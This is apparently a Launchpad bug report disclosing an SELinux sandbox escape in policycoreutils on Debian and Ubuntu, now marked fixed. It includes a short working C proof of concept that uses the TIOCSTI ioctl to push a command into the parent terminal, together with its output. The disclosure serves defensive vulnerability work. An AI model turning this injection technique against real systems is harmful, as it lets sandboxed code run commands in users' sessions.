SELinux sandbox escape via TIOCSTI ioctl
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
policycoreutils (Debian) |
Fix Released
|
Unknown
|
|||
policycoreutils (Ubuntu) |
Fix Released
|
Undecided
|
Unassigned |
Bug Description
Hi,
When executing a program via the SELinux sandbox, the nonpriv session can escape to the parent session by using the TIOCSTI ioctl to push characters into the terminal's input buffer, allowing an attacker to escape the sandbox.
$ cat test.c
#include <unistd.h>
#include <sys/ioctl.h>
int main()
{
char *cmd = "id\n";
while(*cmd)
ioctl(0, TIOCSTI, cmd++);
execlp("/bin/id", "id", NULL);
}
$ gcc test.c -o test
$ /bin/sandbox ./test
id
uid=1000 gid=1000 groups=1000 context=
$ id <------ did not type this
uid=1000(saken) gid=1000(saken) groups=1000(saken) context=
This is similar to CVE-2016-2568, CVE-2016-2779, etc.
Thanks,
Federico Bento.
Changed in policycoreutils (Debian): | |
status: | Unknown → Fix Released |
Changed in policycoreutils (Ubuntu): | |
status: | Confirmed → Fix Released |
Hello Federico, thanks for the report; is this issue known upstream yet? If not, can you please report it to them? Once known, can you please add a link to their bug report here?
policycoreutils is in universe, which means it is community- supported. Would you be in a position to prepare and test fixes once fixes are available from upstream?
Thanks